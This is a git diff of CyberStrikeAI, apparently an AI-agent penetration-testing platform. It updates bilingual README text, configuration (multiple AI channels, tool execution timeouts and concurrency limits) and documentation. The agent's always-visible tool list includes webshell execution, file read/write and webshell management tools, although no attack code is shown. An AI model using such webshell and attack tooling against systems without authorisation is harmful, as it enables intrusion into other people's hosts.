mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-07-31 16:17:35 +02:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
a7190b8399 | ||
|
|
6f0eaf7667 | ||
|
|
f285d47404 | ||
|
|
273d63413b | ||
|
|
5656315b1e | ||
|
|
cee46f40fa | ||
|
|
4c55784dbc | ||
|
|
d304ff5c99 | ||
|
|
0cd4df3518 | ||
|
|
49333b856c | ||
|
|
a83490f29c | ||
|
|
dbc4ead040 | ||
|
|
4333cf1dd3 | ||
|
|
577c97aab0 | ||
|
|
93ab362b6f | ||
|
|
d9cb0b11c5 | ||
|
|
2d7f5322b3 | ||
|
|
3763da8773 | ||
|
|
3f2984b7c6 | ||
|
|
fbef2afd68 | ||
|
|
bccb324d2b | ||
|
|
b28fba3d68 | ||
|
|
8059b6d5b2 | ||
|
|
0821bb2911 | ||
|
|
e407f8203c | ||
|
|
a59253e828 | ||
|
|
4c989fbbe0 | ||
|
|
91239c9869 | ||
|
|
6892156b7c | ||
|
|
75489123f9 | ||
|
|
631ee6c447 | ||
|
|
7caf77683f | ||
|
|
fce4ffe3c4 | ||
|
|
75163f9269 | ||
|
|
06a9cea97d | ||
|
|
b62ba3b214 | ||
|
|
0062cebc6b | ||
|
|
25ceeb2535 | ||
|
|
0152781598 | ||
|
|
d3176f048d | ||
|
|
1fc522298a | ||
|
|
9464ffe105 | ||
|
|
599de1da0f | ||
|
|
1cb64ceaaa | ||
|
|
97d96d4d8b | ||
|
|
4bb12bbbdc | ||
|
|
c4a56c1ada | ||
|
|
8bd42a6f7a | ||
|
|
b54867e383 | ||
|
|
07229f0fde | ||
|
|
f30e8e7ca6 | ||
|
|
bfe1d28650 | ||
|
|
c925c2e74b | ||
|
|
4bbbe3bcf8 | ||
|
|
944957d4c5 | ||
|
|
fa9229b435 | ||
|
|
b707ea4e44 | ||
|
|
18824857be | ||
|
|
78c572927b | ||
|
|
cea8d4bcc0 | ||
|
|
25fac216ea | ||
|
|
e5507ed8d0 | ||
|
|
22cbc82ccc | ||
|
|
462aa2fb15 | ||
|
|
b1749ace16 | ||
|
|
5a48e2893d | ||
|
|
d7181cb1cd | ||
|
|
2b63e3b633 | ||
|
|
2de6073d34 | ||
|
|
ec3f881587 |
@@ -118,6 +118,7 @@ CyberStrikeAI connects planning, execution, human oversight, evidence, and repla
|
||||
|
||||
- 🧰 **Security tools** include 100+ curated YAML recipes with custom extensions and role-scoped access.
|
||||
- 🔌 **MCP integration** supports HTTP, stdio, SSE, external federation, and dynamic tool discovery.
|
||||
- ⏱️ **Resilient tool execution** runs blocking MCP/tool calls in workers with bounded agent waits, resumable `execution_id` polling, cancellation, per-server circuit breakers, concurrency limits, and unified output caps.
|
||||
- 🎯 **Agent Skills** follow the standard Skill layout and support progressive, on-demand loading.
|
||||
- 📚 **Knowledge base** combines query rewriting, vector retrieval, reranking, and result post-processing.
|
||||
- 🖼️ **Vision analysis** uses a separate vision model for screenshots, captchas, and UI while retaining text summaries only.
|
||||
@@ -127,7 +128,7 @@ CyberStrikeAI connects planning, execution, human oversight, evidence, and repla
|
||||
- 🧑⚖️ **Human in the loop** provides approval modes, tool allowlists, audit-agent review, and traceable decisions.
|
||||
- 🔐 **Platform RBAC** supports multiple users, system and custom roles, scoped permissions, ownership, and explicit assignments.
|
||||
- 🔒 **Security and audit** provide authenticated access, audit logs, SQLite persistence, and operational evidence retention.
|
||||
- 📄 **Result governance** supports pagination, compression, archival, and search for large tool outputs.
|
||||
- 📄 **Result governance** stores the same capped tool result seen by the agent, protects resume paths from oversized historical output, and adds UI safeguards for large detail views. See [Tool Execution Governance](docs/en-US/tool-execution-governance.md).
|
||||
|
||||
### Security operations
|
||||
|
||||
@@ -217,16 +218,23 @@ The `run.sh` script will automatically:
|
||||
**Networking defaults:** `run.sh` starts the server with **`--https`** and the repo **`config.yaml`** (local self-signed TLS; better for many concurrent streams). Use **`./run.sh --http`** for plain HTTP. In production, set **`server.tls_cert_path`** / **`server.tls_key_path`** in **`config.yaml`** (see comments there). For manual runs, add **`--https`** or **`CYBERSTRIKE_HTTPS=1`**; if **`-config`** is wrong, the binary prints a short usage hint on stderr.
|
||||
|
||||
**First-Time Configuration:**
|
||||
1. **Configure OpenAI-compatible API** (required before first use)
|
||||
1. **Configure AI channels** (required before first use)
|
||||
- After launch, open **`https://127.0.0.1:8080/`** (or **`https://localhost:8080/`**; replace **8080** with `server.port` in `config.yaml`) and accept the self-signed certificate warning once. If you used `./run.sh --http`, use **`http://`** instead.
|
||||
- Go to `Settings` → Fill in your API credentials:
|
||||
- Go to `System Settings` → `Basic Settings` → `AI Channel Configuration`, add or edit a channel, then fill in provider, Base URL, API key, model, and token limits. Click **Save changes**. The left channel list supports setting a default, copy, delete, and bulk probe.
|
||||
```yaml
|
||||
openai:
|
||||
api_key: "${OPENAI_API_KEY}"
|
||||
base_url: "https://api.openai.com/v1" # or https://api.deepseek.com/v1
|
||||
model: "gpt-4o" # or deepseek-chat, claude-3-opus, etc.
|
||||
ai:
|
||||
default_channel: openai-main
|
||||
channels:
|
||||
openai-main:
|
||||
name: OpenAI Main
|
||||
provider: openai_compatible
|
||||
api_key: "${OPENAI_API_KEY}"
|
||||
base_url: "https://api.openai.com/v1" # or https://api.deepseek.com/v1
|
||||
model: "gpt-4o" # or deepseek-chat, qwen3-max, etc.
|
||||
max_total_tokens: 120000
|
||||
max_completion_tokens: 16384
|
||||
```
|
||||
- Or edit `config.yaml` directly before launching
|
||||
- Or edit `config.yaml` directly before launching. `ai.default_channel` is used for new conversations and tasks that do not explicitly select a channel; the chat page can also select any saved channel per session.
|
||||
2. **Login** - On first startup the console prints an auto-generated initial `admin` password; create accounts from **Platform permissions → User management**
|
||||
3. **Install security tools (optional)** - Install tools from `tools/` as needed; missing tools are skipped or substituted at runtime. Common examples:
|
||||
|
||||
@@ -280,19 +288,23 @@ Requirements / tips:
|
||||
|
||||
## Configuration
|
||||
|
||||
Use [`config.example.yaml`](config.example.yaml) as the authoritative configuration template and copy only the values required for your environment. At minimum, configure the server and an OpenAI-compatible model provider:
|
||||
Use [`config.example.yaml`](config.example.yaml) as the authoritative configuration template and copy only the values required for your environment. At minimum, configure the server and one AI channel:
|
||||
|
||||
```yaml
|
||||
server:
|
||||
host: "127.0.0.1"
|
||||
port: 8080
|
||||
openai:
|
||||
api_key: "${OPENAI_API_KEY}"
|
||||
base_url: "https://api.openai.com/v1"
|
||||
model: "your-model"
|
||||
ai:
|
||||
default_channel: openai-main
|
||||
channels:
|
||||
openai-main:
|
||||
provider: openai_compatible
|
||||
api_key: "${OPENAI_API_KEY}"
|
||||
base_url: "https://api.openai.com/v1"
|
||||
model: "your-model"
|
||||
```
|
||||
|
||||
Do not commit real credentials. Review the [configuration reference](docs/en-US/configuration.md), [recommended profiles](docs/en-US/configuration-profiles.md), and [security hardening guide](docs/en-US/security-hardening.md) before exposing the service beyond localhost.
|
||||
`openai` is a backward-compatible runtime field; maintain new model settings in `ai.channels`. Do not commit real credentials. Review the [configuration reference](docs/en-US/configuration.md), [recommended profiles](docs/en-US/configuration-profiles.md), and [security hardening guide](docs/en-US/security-hardening.md) before exposing the service beyond localhost.
|
||||
|
||||
## Related documentation
|
||||
|
||||
|
||||
+26
-14
@@ -117,6 +117,7 @@ CyberStrikeAI 将规划、执行、人工监督、证据与复盘连接在同一
|
||||
|
||||
- 🧰 **安全工具**:提供 100+ 精选 YAML 工具配方,支持自定义扩展和按角色控制。
|
||||
- 🔌 **MCP 集成**:支持 HTTP、stdio、SSE、外部 MCP 联邦和动态工具发现。
|
||||
- ⏱️ **弹性工具执行**:阻塞型 MCP/工具调用交给 worker 执行,Agent 只有限等待;支持 `execution_id` 多轮等待、主动取消、单 server 熔断、并发限制和统一输出兜底。
|
||||
- 🎯 **Agent Skills**:遵循标准 Skill 目录结构,支持渐进式按需加载。
|
||||
- 📚 **知识库**:组合查询改写、向量检索、精排和结果后处理能力。
|
||||
- 🖼️ **视觉分析**:使用独立视觉模型分析截图、验证码和 UI,对话中仅保留文字摘要。
|
||||
@@ -126,7 +127,7 @@ CyberStrikeAI 将规划、执行、人工监督、证据与复盘连接在同一
|
||||
- 🧑⚖️ **人机协同**:支持审批模式、工具白名单、审计 Agent 复核和决策追踪。
|
||||
- 🔐 **平台 RBAC**:支持多用户、系统及自定义角色、权限 Scope、资源归属和显式授权。
|
||||
- 🔒 **安全与审计**:提供登录保护、审计日志、SQLite 持久化和行动证据留存。
|
||||
- 📄 **结果治理**:支持大结果分页、压缩、归档和检索。
|
||||
- 📄 **结果治理**:数据库保存与 Agent 实际看到的同一份兜底后工具结果,恢复路径会再次防御历史超大输出,前端详情也有展示保护。详见[工具执行治理](docs/zh-CN/tool-execution-governance.md)。
|
||||
|
||||
### 安全运营管理
|
||||
|
||||
@@ -216,16 +217,23 @@ chmod +x run.sh && ./run.sh
|
||||
**网络默认:** `run.sh` 会以 **`--https`** 并传入项目根 **`config.yaml`** 启动(本机自签证书,多路流式场景更稳)。只要明文 HTTP 用 **`./run.sh --http`**。生产环境在 **`config.yaml`** 的 **`server.tls_cert_path` / `server.tls_key_path`** 配正式证书(见文件内注释)。手动启动可加 **`--https`** 或环境变量 **`CYBERSTRIKE_HTTPS=1`**;`-config` 写错时程序会在终端提示正确写法。
|
||||
|
||||
**首次配置:**
|
||||
1. **配置 AI 模型 API**(首次使用前必填)
|
||||
1. **配置 AI 通道**(首次使用前必填)
|
||||
- 启动后在浏览器打开 **`https://127.0.0.1:8080/`**(或 **`https://localhost:8080/`**;端口以 `config.yaml` 中 **`server.port`** 为准,默认 8080),并按提示信任自签证书。若使用 **`./run.sh --http`**,则改用 **`http://`** 访问。
|
||||
- 进入 `设置` → 填写 API 配置信息:
|
||||
- 进入 `系统设置` → `基本设置` → `AI 通道配置`,新增或编辑通道,填写 API 提供商、Base URL、API Key、模型和 Token 上限,点击 **保存更改**。左侧通道列表支持设为默认、复制、删除和批量探活。
|
||||
```yaml
|
||||
openai:
|
||||
api_key: "${OPENAI_API_KEY}"
|
||||
base_url: "https://api.openai.com/v1" # 或 https://api.deepseek.com/v1
|
||||
model: "gpt-4o" # 或 deepseek-chat, claude-3-opus 等
|
||||
ai:
|
||||
default_channel: openai-main
|
||||
channels:
|
||||
openai-main:
|
||||
name: OpenAI Main
|
||||
provider: openai_compatible
|
||||
api_key: "${OPENAI_API_KEY}"
|
||||
base_url: "https://api.openai.com/v1" # 或 https://api.deepseek.com/v1
|
||||
model: "gpt-4o" # 或 deepseek-chat, qwen3-max 等
|
||||
max_total_tokens: 120000
|
||||
max_completion_tokens: 16384
|
||||
```
|
||||
- 或启动前直接编辑 `config.yaml` 文件
|
||||
- 或启动前直接编辑 `config.yaml` 文件。`ai.default_channel` 会作为新对话和未显式选择通道任务的默认模型;对话页也可以在会话设置里选择某个已保存通道。
|
||||
2. **登录系统** - 首次启动时控制台会显示自动生成的 `admin` 初始密码;也可在「平台权限 → 用户管理」中创建账号
|
||||
3. **安装安全工具(可选)** - 按需安装 `tools/` 目录中的工具;未安装的工具在执行时会自动跳过或改用替代方案。常用示例:
|
||||
|
||||
@@ -278,19 +286,23 @@ go build -o cyberstrike-ai cmd/server/main.go
|
||||
|
||||
## 配置
|
||||
|
||||
请以 [`config.example.yaml`](config.example.yaml) 作为权威配置模板,只复制当前环境需要的配置。最少需要配置服务监听地址和一个 OpenAI 兼容模型:
|
||||
请以 [`config.example.yaml`](config.example.yaml) 作为权威配置模板,只复制当前环境需要的配置。最少需要配置服务监听地址和一个 AI 通道:
|
||||
|
||||
```yaml
|
||||
server:
|
||||
host: "127.0.0.1"
|
||||
port: 8080
|
||||
openai:
|
||||
api_key: "${OPENAI_API_KEY}"
|
||||
base_url: "https://api.openai.com/v1"
|
||||
model: "your-model"
|
||||
ai:
|
||||
default_channel: openai-main
|
||||
channels:
|
||||
openai-main:
|
||||
provider: openai_compatible
|
||||
api_key: "${OPENAI_API_KEY}"
|
||||
base_url: "https://api.openai.com/v1"
|
||||
model: "your-model"
|
||||
```
|
||||
|
||||
不要提交真实凭证。将服务暴露到 localhost 之外前,请阅读[配置参考](docs/zh-CN/configuration.md)、[推荐配置画像](docs/zh-CN/configuration-profiles.md)和[安全加固指南](docs/zh-CN/security-hardening.md)。
|
||||
`openai` 是兼容旧版本的运行时字段,新配置优先维护 `ai.channels`。不要提交真实凭证。将服务暴露到 localhost 之外前,请阅读[配置参考](docs/zh-CN/configuration.md)、[推荐配置画像](docs/zh-CN/configuration-profiles.md)和[安全加固指南](docs/zh-CN/security-hardening.md)。
|
||||
|
||||
## 相关文档
|
||||
|
||||
|
||||
@@ -34,6 +34,7 @@ func main() {
|
||||
|
||||
// 注册工具
|
||||
executor.RegisterTools(mcpServer)
|
||||
mcp.RegisterExecutionControlTools(mcpServer, nil)
|
||||
|
||||
log.Logger.Info("MCP服务器(stdio模式)已启动,等待消息...")
|
||||
|
||||
|
||||
+35
-25
@@ -10,7 +10,7 @@
|
||||
# ============================================
|
||||
|
||||
# 前端显示的版本号(可选,不填则显示默认版本)
|
||||
version: "v1.7.5"
|
||||
version: "v1.7.8"
|
||||
# 服务器配置
|
||||
server:
|
||||
host: 0.0.0.0 # 监听地址,0.0.0.0 表示监听所有网络接口
|
||||
@@ -49,35 +49,40 @@ monitor:
|
||||
# 对话相关配置
|
||||
# ============================================
|
||||
|
||||
# AI 模型配置(支持 OpenAI 兼容 API)
|
||||
# 必填项:api_key, base_url, model 必须填写才能正常运行
|
||||
# AI 通道配置(支持保存多个 OpenAI 兼容 / Claude 通道)
|
||||
# default_channel 指定新对话与未显式选择通道的任务使用哪个通道。
|
||||
# 每个 channels.<id> 必填:api_key, base_url, model。
|
||||
# 支持的 API 服务商:
|
||||
# - OpenAI: https://api.openai.com/v1
|
||||
# - DeepSeek: https://api.deepseek.com/v1
|
||||
# - 其他兼容 OpenAI 协议的 API
|
||||
# 常用模型: gpt-4, gpt-3.5-turbo, deepseek-chat, claude-3-opus 等
|
||||
# provider: 可选值 openai(默认) | claude(自动桥接到 Anthropic Claude Messages API)
|
||||
openai:
|
||||
provider: openai # API 提供商: openai(默认,兼容OpenAI协议) | claude(自动桥接到Anthropic Claude Messages API)
|
||||
base_url: https://dashscope.aliyuncs.com/compatible-mode/v1 # API 基础 URL(必填)
|
||||
api_key: sk-xxxxxxx # API 密钥(必填)
|
||||
model: qwen3-max # 模型名称(必填)
|
||||
max_total_tokens: 120000 # LLM 相关上下文的最大 Token 数限制(内存压缩和攻击链构建会共用此配置)
|
||||
max_completion_tokens: 16384 # 单次生成上限(含 reasoning 与可见输出),防止依赖网关隐式默认值
|
||||
# Eino 路径模型推理:DeepSeek/OpenAI 为 thinking / reasoning_effort;Claude 4.6+ 为 adaptive + output_config.effort(仅显式配置 effort 时下发);3.7 为 enabled+budget_tokens:10000(文档示例),effort 不映射,自定义预算用 extra_request_fields
|
||||
reasoning:
|
||||
mode: on # auto | on | off;off:OpenAI/Claude 不附加推理字段,DeepSeek 发送 thinking.type=disabled(其默认开启思考)
|
||||
effort: high # low | medium | high | max | xhigh(最高档:OpenAI 常用 xhigh,部分网关用 max,原样下发);空表示不指定
|
||||
allow_client_reasoning: true # false 时忽略对话请求体 reasoning,仅以下方为准
|
||||
profile: openai_compat # auto | deepseek_compat | openai_compat | output_config_effort
|
||||
# extra_request_fields: {} # 可选:管理员自定义根级 JSON 片段(高级)
|
||||
# provider: 可选值 openai_compatible(默认) | claude(自动桥接到 Anthropic Claude Messages API)
|
||||
ai:
|
||||
default_channel: qwen-max
|
||||
channels:
|
||||
qwen-max:
|
||||
name: Qwen Max
|
||||
provider: openai_compatible
|
||||
base_url: https://dashscope.aliyuncs.com/compatible-mode/v1
|
||||
api_key: sk-xxxxxxx
|
||||
model: qwen3-max
|
||||
max_total_tokens: 120000
|
||||
max_completion_tokens: 16384
|
||||
# Eino 路径模型推理:DeepSeek/OpenAI 为 thinking / reasoning_effort;Claude 4.6+ 为 adaptive + output_config.effort(仅显式配置 effort 时下发);3.7 为 enabled+budget_tokens:10000(文档示例),effort 不映射,自定义预算用 extra_request_fields
|
||||
reasoning:
|
||||
mode: on # auto | on | off;off:OpenAI/Claude 不附加推理字段,DeepSeek 发送 thinking.type=disabled(其默认开启思考)
|
||||
effort: high # low | medium | high | max | xhigh(最高档:OpenAI 常用 xhigh,部分网关用 max,原样下发);空表示不指定
|
||||
allow_client_reasoning: true # false 时忽略对话请求体 reasoning,仅以下方为准
|
||||
profile: openai_compat # auto | deepseek_compat | openai_compat | output_config_effort
|
||||
# extra_request_fields: {} # 可选:管理员自定义根级 JSON 片段(高级)
|
||||
# 视觉分析(analyze_image MCP 工具;图片仅在单次 VL 调用中出现,Agent 上下文只保留文字摘要)
|
||||
vision:
|
||||
enabled: false # true 且 model 非空时注册 analyze_image
|
||||
model: qwen-vl # VL 模型名(enabled 时必填)
|
||||
api_key: "" # 留空则复用 openai.api_key
|
||||
base_url: "" # 留空则复用 openai.base_url
|
||||
provider: # 留空则复用 openai.provider(openai | claude)
|
||||
api_key: "" # 留空则复用默认 AI 通道 api_key
|
||||
base_url: "" # 留空则复用默认 AI 通道 base_url
|
||||
provider: # 留空则复用默认 AI 通道 provider(openai_compatible | claude)
|
||||
max_image_bytes: 5242880 # 原始文件上限(字节),默认 5MB
|
||||
max_dimension: 2048 # 长边缩放像素
|
||||
jpeg_quality: 82
|
||||
@@ -107,6 +112,11 @@ shodan:
|
||||
agent:
|
||||
max_iterations: 12000 # 全局最大迭代次数(单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用;agents/*.md 中 max_iterations>0 可单独覆盖)
|
||||
tool_timeout_minutes: 60 # 单次工具执行最大时长(分钟),超时自动终止;0 表示不限制(不推荐,易出现长时间挂起)
|
||||
tool_wait_timeout_seconds: 300 # 工具本轮最多等待(秒);到时返回 execution_id,worker 继续后台执行,可用 wait_tool_execution 继续等待;0=等到完成
|
||||
external_mcp_max_concurrent_per_server: 5 # 单个外部 MCP server 同时运行的工具数;0=默认2;负数=不限制
|
||||
external_mcp_max_concurrent_total: 16 # 所有外部 MCP 工具全局并发上限;0=默认16;负数=不限制
|
||||
external_mcp_circuit_failure_threshold: 15 # 单个外部 MCP server 连续失败多少次后熔断;0=默认3;负数=关闭熔断
|
||||
external_mcp_circuit_cooldown_seconds: 60 # 熔断冷却秒数;0=默认60
|
||||
shell_no_output_timeout_seconds: 1200 # execute/exec 连续无新输出则终止(秒);通用防挂死;0=默认300;-1=关闭
|
||||
workspace_root_dir: "" # 会话工作目录根路径(curl/wget 下载、read_file/glob/grep 本地分析);空=tmp/workspace,其下按 projects/{id} 或 conversations/{id} 隔离;勿用系统 /tmp
|
||||
# system_prompt_path: prompts/single-agent.md # 可选:单代理系统提示文件(相对本配置文件所在目录);非空且可读时替换内置提示
|
||||
@@ -214,13 +224,13 @@ multi_agent:
|
||||
tool_search_enable: true # true:工具数 ≥ min 时启用 tool_search,仅前 N 个工具常驻,其余按正则按需解锁,省 token、减误选;false:全量工具进上下文
|
||||
tool_search_min_tools: 20 # 达到该数量才启用 tool_search(避免工具很少时多此一举);与 always_visible 配合使用
|
||||
tool_search_always_visible: 12 # 始终直接暴露给模型的工具个数(顺序与角色工具列表一致);其余工具进入动态池,需 tool_search 解锁
|
||||
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test, exec] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
||||
tool_search_always_visible_tools: [read_file, glob, grep, analyze_image, write_file, edit_file, execute, task, transfer_to_agent, exit, write_todos, skill, tool_search, TaskCreate, TaskGet, TaskUpdate, TaskList, record_vulnerability, list_vulnerabilities, get_vulnerability, get_tool_execution, wait_tool_execution, cancel_tool_execution, list_knowledge_risk_types, search_knowledge_base, webshell_exec, webshell_file_list, webshell_file_read, webshell_file_write, manage_webshell_list, manage_webshell_add, manage_webshell_update, manage_webshell_delete, manage_webshell_test, batch_task_list, batch_task_get, batch_task_start, batch_task_rerun, batch_task_pause, batch_task_update_metadata, batch_task_update_schedule, batch_task_schedule_enabled, batch_task_update_task, batch_task_remove_task, batch_task_delete, batch_task_create, batch_task_add_task, http-framework-test, exec] # 后端内置常驻工具白名单(优先于 always_visible 数量策略)
|
||||
plantask_enable: true # P0:主代理挂载 TaskCreate/Get/Update/List 结构化任务板;需 eino_skills 可用且 skills_dir 存在
|
||||
plantask_rel_dir: .eino/plantask # 任务文件相对 skills_dir,按会话分子目录:skills/.eino/plantask/<conversationId>/
|
||||
reduction_enable: true # true:大工具输出截断/落盘以控上下文;后端会独立创建,不依赖 eino_skills 是否启用
|
||||
reduction_max_length_for_trunc: 50000 # 单条工具结果超过该字符数(bytes)时截断并落盘(由 reduction 中间件处理)
|
||||
reduction_enable: true # true:大工具输出截断并落盘到本地文件(tmp/reduction/.../trunc/<id>),上下文只留 <persisted-output> 预览;不依赖 eino_skills
|
||||
reduction_max_length_for_trunc: 100000 # 单条工具结果超过该字节数时:全文写入本地 trunc 文件,返回带路径的截断预览(MCP/exec 与 reduction 共用此阈值)
|
||||
reduction_max_tokens_for_clear: 60000 # 历史工具结果清理阈值(tokens),应低于 max_total_tokens * summarization_trigger_ratio
|
||||
reduction_root_dir: "" # 非空:截断/清理内容落盘根路径;空:使用系统临时目录下按会话隔离的默认路径
|
||||
reduction_root_dir: "" # 非空:截断/清理内容落盘根路径;空:项目目录下 tmp/reduction(按会话/项目隔离)
|
||||
reduction_clear_exclude: [] # 不参与「清理阶段」的工具名额外列表(会与 task/transfer/exit 等内置排除项合并);需要时用 YAML 列表填写
|
||||
reduction_sub_agents: true # true:子代理也挂 reduction;false:仅编排主代理使用 reduction
|
||||
summarization_trigger_ratio: 0.8 # summarization 触发比例(max_total_tokens * ratio),建议 0.75~0.85
|
||||
|
||||
@@ -21,6 +21,7 @@ CyberStrikeAI documentation is organized by user journey. Start with deployment,
|
||||
- [Skills 指南](zh-CN/skills-guide.md)
|
||||
- [Eino 多代理](zh-CN/MULTI_AGENT_EINO.md)
|
||||
- [工作流](zh-CN/workflow-graph.md)
|
||||
- [工具执行治理](zh-CN/tool-execution-governance.md)
|
||||
- [人机协同最佳实践](zh-CN/hitl-best-practices.md)
|
||||
|
||||
### 功能指南
|
||||
@@ -58,6 +59,7 @@ CyberStrikeAI documentation is organized by user journey. Start with deployment,
|
||||
- [Skills](en-US/skills-guide.md)
|
||||
- [Eino Multi-Agent](en-US/MULTI_AGENT_EINO.md)
|
||||
- [Workflows](en-US/workflow-graph.md)
|
||||
- [Tool Execution Governance](en-US/tool-execution-governance.md)
|
||||
- [HITL Best Practices](en-US/hitl-best-practices.md)
|
||||
|
||||
### Feature guides
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
|
||||
- [Architecture](architecture.md) · [Security Model](security-model.md) · [RBAC](rbac.md)
|
||||
- [Agents and Roles](agent-and-role-guide.md) · [Skills](skills-guide.md) · [Eino Multi-Agent](MULTI_AGENT_EINO.md)
|
||||
- [Workflows](workflow-graph.md) · [HITL Best Practices](hitl-best-practices.md)
|
||||
- [Workflows](workflow-graph.md) · [Tool Execution Governance](tool-execution-governance.md) · [HITL Best Practices](hitl-best-practices.md)
|
||||
|
||||
## Feature guides
|
||||
|
||||
|
||||
@@ -21,7 +21,7 @@ vision:
|
||||
timeout_seconds: 60
|
||||
```
|
||||
|
||||
Empty `api_key`, `base_url`, or `provider` inherits from `openai`.
|
||||
Empty `api_key`, `base_url`, or `provider` inherits from the resolved default AI channel.
|
||||
|
||||
## Data Handling
|
||||
|
||||
|
||||
@@ -45,6 +45,18 @@ Multi-agent:
|
||||
|
||||
`orchestration` may be `deep`, `plan_execute`, or `supervisor`.
|
||||
|
||||
Common request body fields:
|
||||
|
||||
| Field | Meaning |
|
||||
| --- | --- |
|
||||
| `message` | User message, required. |
|
||||
| `conversationId` | Continue an existing conversation; empty creates a new one. |
|
||||
| `projectId` | Project for a new conversation; empty may follow `config.project.default_project_id`. |
|
||||
| `role` | Use a named role. |
|
||||
| `aiChannelId` | Select a channel from `ai.channels`; empty follows `ai.default_channel`. |
|
||||
| `reasoning` | Per-session reasoning override, controlled by the channel's `reasoning.allow_client_reasoning`. |
|
||||
| `hitl` | Per-session human-in-the-loop settings. |
|
||||
|
||||
## SSE Notes
|
||||
|
||||
Streaming endpoints are long-lived. Clients should:
|
||||
|
||||
@@ -16,11 +16,15 @@ server:
|
||||
# - https://trusted-integration.example
|
||||
auth:
|
||||
session_duration_hours: 12
|
||||
openai:
|
||||
provider: openai
|
||||
base_url: https://api.openai.com/v1
|
||||
api_key: sk-...
|
||||
model: gpt-4.1
|
||||
ai:
|
||||
default_channel: openai-main
|
||||
channels:
|
||||
openai-main:
|
||||
name: OpenAI Main
|
||||
provider: openai_compatible
|
||||
base_url: https://api.openai.com/v1
|
||||
api_key: sk-...
|
||||
model: gpt-4.1
|
||||
agent:
|
||||
max_iterations: 12000
|
||||
tool_timeout_minutes: 60
|
||||
@@ -30,13 +34,64 @@ Change the initial `admin` password from the Web UI after first login. Use HTTPS
|
||||
|
||||
Valid Chromium `chrome-extension://<32-character-extension-id>` origins are recognized automatically. The extension must still obtain host permission and authenticate with a password and Bearer token. `server.cors_allowed_origins` remains available as an exact allowlist for other trusted Web integrations; wildcards are not accepted, and changing it requires a restart.
|
||||
|
||||
## AI Channels
|
||||
|
||||
`ai` is the recommended model configuration entry. In the Web UI, use **System Settings → Basic Settings → AI Channel Configuration**. Saving that form writes `ai.default_channel` and `ai.channels`. The legacy `openai` field remains as a backward-compatible runtime field; on load, CyberStrikeAI ensures a default channel exists and synchronizes the resolved `ai.default_channel` into runtime `openai`.
|
||||
|
||||
```yaml
|
||||
ai:
|
||||
default_channel: openai-main
|
||||
channels:
|
||||
openai-main:
|
||||
name: OpenAI Main
|
||||
provider: openai_compatible
|
||||
base_url: https://api.openai.com/v1
|
||||
api_key: sk-...
|
||||
model: gpt-4.1
|
||||
max_total_tokens: 120000
|
||||
max_completion_tokens: 16384
|
||||
reasoning:
|
||||
mode: on
|
||||
effort: high
|
||||
allow_client_reasoning: true
|
||||
profile: openai_compat
|
||||
claude-main:
|
||||
name: Claude Main
|
||||
provider: claude
|
||||
base_url: https://api.anthropic.com/v1
|
||||
api_key: sk-ant-...
|
||||
model: claude-sonnet-4-5
|
||||
```
|
||||
|
||||
| Field | Meaning |
|
||||
| --- | --- |
|
||||
| `ai.default_channel` | Default channel ID for new conversations and requests without an explicit channel. |
|
||||
| `ai.channels.<id>` | Channel config. IDs are normalized to lowercase letters, digits, and hyphens. |
|
||||
| `name` | Display name in the Web UI; falls back to the ID. |
|
||||
| `provider` | `openai_compatible` or `claude`. OpenAI-compatible channels map to runtime `openai`; Claude channels bridge to Anthropic Messages API. |
|
||||
| `base_url/api_key/model` | Required. Base URL usually includes a version path such as `/v1`. |
|
||||
| `max_total_tokens` | Shared context budget for compression, attack-chain generation, multi-agent summaries, and similar paths. |
|
||||
| `max_completion_tokens` | Per-response output cap; default is used when empty. |
|
||||
| `reasoning` | Default reasoning fields for the channel. Gateway support varies; try `mode: off` first when a provider rejects requests. |
|
||||
|
||||
The chat page reads saved channels into the “AI Channel” selector. A non-empty request `aiChannelId` selects a channel for that run/session without sending API credentials through the prompt path. Empty `aiChannelId` follows `ai.default_channel`.
|
||||
|
||||
Common Web UI operations:
|
||||
|
||||
- Add: click `+`, fill required fields, then save.
|
||||
- Set default: select a channel, click **Set as default**, then save/apply.
|
||||
- Copy: duplicate the current form, useful for the same provider with a different model.
|
||||
- Delete: keep at least one channel; the default channel is protected from bulk delete.
|
||||
- Probe: use **Test connection** or **Bulk probe** to validate API key, Base URL, and model.
|
||||
|
||||
## Hot-Apply Boundaries
|
||||
|
||||
`POST /api/config/apply` coordinates model config, tool description mode, MCP tool registration, knowledge components, robot restarts, and C2 runtime reconciliation. It does not make every field instantly effective.
|
||||
|
||||
| Section | Usually hot-applies | Extra action |
|
||||
| --- | --- | --- |
|
||||
| `openai` | new requests use new model settings | running streams keep their current state |
|
||||
| `ai.default_channel` / `ai.channels` | new requests use the resolved default or selected channel | running streams keep their current state; reload config for the frontend channel list |
|
||||
| `openai` | compatibility field, usually synchronized from the default AI channel | prefer maintaining new config in `ai.channels` |
|
||||
| `agent.max_iterations` | new tasks | existing tasks continue |
|
||||
| `hitl.tool_whitelist` | new approval checks | pending approvals are not re-decided |
|
||||
| `knowledge.enabled` | initializes/updates components | scan and index are still required |
|
||||
@@ -47,8 +102,8 @@ Valid Chromium `chrome-extension://<32-character-extension-id>` origins are reco
|
||||
|
||||
## Fallback Relationships
|
||||
|
||||
- `vision.api_key/base_url/provider` can inherit from `openai`.
|
||||
- `hitl.audit_model` can inherit from `openai`.
|
||||
- `vision.api_key/base_url/provider` can inherit from the resolved default AI channel.
|
||||
- `hitl.audit_model` can inherit from the resolved default AI channel.
|
||||
- `knowledge.embedding.base_url/api_key` can inherit from model settings.
|
||||
- rerank config can inherit from embedding/openai.
|
||||
- `database.knowledge_db_path` can be separate or reuse the main DB.
|
||||
|
||||
